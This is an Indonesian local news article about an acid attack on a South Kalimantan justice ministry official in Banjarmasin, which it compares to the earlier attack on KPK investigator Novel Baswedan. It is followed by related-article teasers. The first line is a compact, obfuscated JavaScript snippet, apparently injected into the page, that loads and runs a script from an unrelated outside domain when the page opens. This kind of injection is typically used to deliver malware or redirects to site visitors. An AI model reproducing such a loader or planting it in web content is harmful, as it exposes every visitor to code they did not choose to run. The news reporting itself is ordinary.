(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Kepala Divisi Pemasyarakatan Kemenkumham Kalimantan Selatan, Asep Syarifudin, menerima serangan siraman air keras dari pria tak dikenal Selasa (20/11) pukul 19.30 Wita di pelataran Cafe Capung, Jl S Parman, Banjarmasin. Polisi saat ini tengah mengusut kasus ini. Terkait kasus hukum atau motif lain?
Akibat penyiraman air keras tersebut, saat ini Asep masih menjalani perawatan intensif di Rumah Sakit Suaka Insan, Banjarmasin. Kepala Kemenkumham Kalsel, Ferdinand Siagian, membenarkan penyiraman air keras terhadap Asep.
“Sedang didalami pihak kepolisian. Masih perawatan dokter,” katanya kepada wartawan, Rabu (21/11).
Kepolisian Resor Kota Banjarmasin pun masih mendalami aksi kekerasan terhadap Asep.
Menurut Kasubag Humas Kanwil Kemenkumham Kalsel Sugito mengatakan, Asep tidak mengenal pelaku yang menyiramnya dengan air keras. Peristiwa  kejadian sekitar 19.30 Wita, Asep usai makan malam di cafe tersebut menuju mobilnya yang di parkir di halaman Cafe Capung.
Pada saat itu, tiba-tiba dihampiri orang yang tidak dikenal. Korban mengira, orang tersebut merupakan juru parkir. Namun rupanya orang tidak dikenal tersebut menyiramkan air keras ke korban. Pelaku langsung melarikan diri setelah melakukan aksinya.
Asep mengalami luka bakar akibat cairan keras itu di sebagian muka di bawah mata dan dada. Korban pun saat ini masih menjalani perawatan di RS Suaka Insan.
Hingga saat ini, Polres Banjarmasin belum memberikan keterangan resmi perihal kejadian tersebut. Sehingga belum diketahui motif maupun latar belakang pelaku melakukan aksi yang mirip kasus yang menimpa salah seorang penyidik KPK Novel Bawesdan itu.
Satu tahun lalu, tepatnya pada Selasa (11/4) subuh, penyidik senior KPK Novel Baswedan tiba-tiba disiram air keras oleh dua pria yang mengendarai sepeda motor. Saat itu Novel sedang berjalan menuju rumahnya setelah menjalankan shalat subuh di Masjid Jami Al Ihsan, Kelurahan Pegangsaan Dua, Kelapa Gading, Jakarta Utara. Cairan itu tepat mengenai wajah Novel. Kejadian itu berlangsung begitu cepat sehingga Novel tak sempat mengelak.
Tak ada seorang pun yang berada di lokasi saat peristiwa penyiraman itu terjadi. Novel juga tak bisa melihat jelas pelaku penyerangannya. Novel kemudian dibawa ke Rumah Sakit Mitra Keluarga Kelapa Gading, Jakarta Utara. Pada sore harinya, Novel dirujuk ke Jakarta Eye Center (JEC) di Menteng, Jakarta Pusat, untuk perawatan dengan alat yang lebih memadai.
Kabar mengenai teror yang dialami Novel kemudian beredar luas di masyarakat. Satu tahun berlalu, polisi belum juga menangkap pelaku penyerangan Novel. (mario/rico)
KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kartini 2024 PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More
KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Unit Pelaksana Teknis Daerah (UPTD) Taman Budaya Provinsi Kalimantan Selatan (Kalsel) menyelenggarakan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dewan Pengurus Daerah (DPD) Komite Nasional Pemuda Indonesia (KNPI) Kota Banjarbaru menggelar… Read More
KANALKALIMANTAN.COM, BANJARBARU - Semangat memperingati Hari Kartini 2024, PT PLN (Persero) Unit Induk Penyaluran dan… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS – “Konser Malam Pestaforia Kapuas 2024” menyemarakan Hari Jadi ke-218 Kota Kuala… Read More
This website uses cookies.